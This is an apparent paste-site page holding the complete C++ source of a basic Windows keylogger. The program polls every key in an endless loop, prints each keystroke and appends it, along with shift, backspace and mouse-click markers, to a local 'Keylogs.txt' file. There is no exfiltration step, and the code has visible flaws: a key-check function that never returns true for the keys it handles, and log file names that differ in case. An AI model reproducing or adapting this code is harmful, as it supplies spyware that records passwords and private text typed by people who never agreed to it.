Las

Las


// ConsoleApplication1.cpp: определяет точку входа для консольного приложения.

//


#include "stdafx.h"

#include <iostream>

#include <stdio.h>

#include <fstream>

#include <string>

#include <windows.h>


using namespace std;


void WriteToLog (LPCSTR text) {

ofstream logfile;

logfile.open("Keylogs.txt", fstream::app);

logfile<< text;

logfile.close();

}


bool KeyIsListed (int iKey) {

switch (iKey)

{

case VK_SPACE:

cout <<" ";

WriteToLog(" ");

break;

case VK_SHIFT:

cout<<" *shift* ";

WriteToLog(" *shift* ");

break;

case VK_BACK:

cout<<"\b";

WriteToLog("\b");

break;

case VK_RBUTTON:

cout<<" *rclick* ";

WriteToLog(" *rclick* ");

break;

case VK_LBUTTON:

cout<<" *lclick* ";

WriteToLog(" *lclick* ");

break;

default: return false;

}}


int main()

{

char key;

while(TRUE){

SetConsoleCP (1251);

Sleep(10);

for(key=8;key<=190;key++) {

if(GetAsyncKeyState(key) == -32767) {

if(KeyIsListed(key) == FALSE) {

cout<< key;


ofstream logfile;

logfile.open("keylogs.txt",fstream::app);

logfile<<key;

logfile.close();

}

}

}

}

return 0;

}



Report Page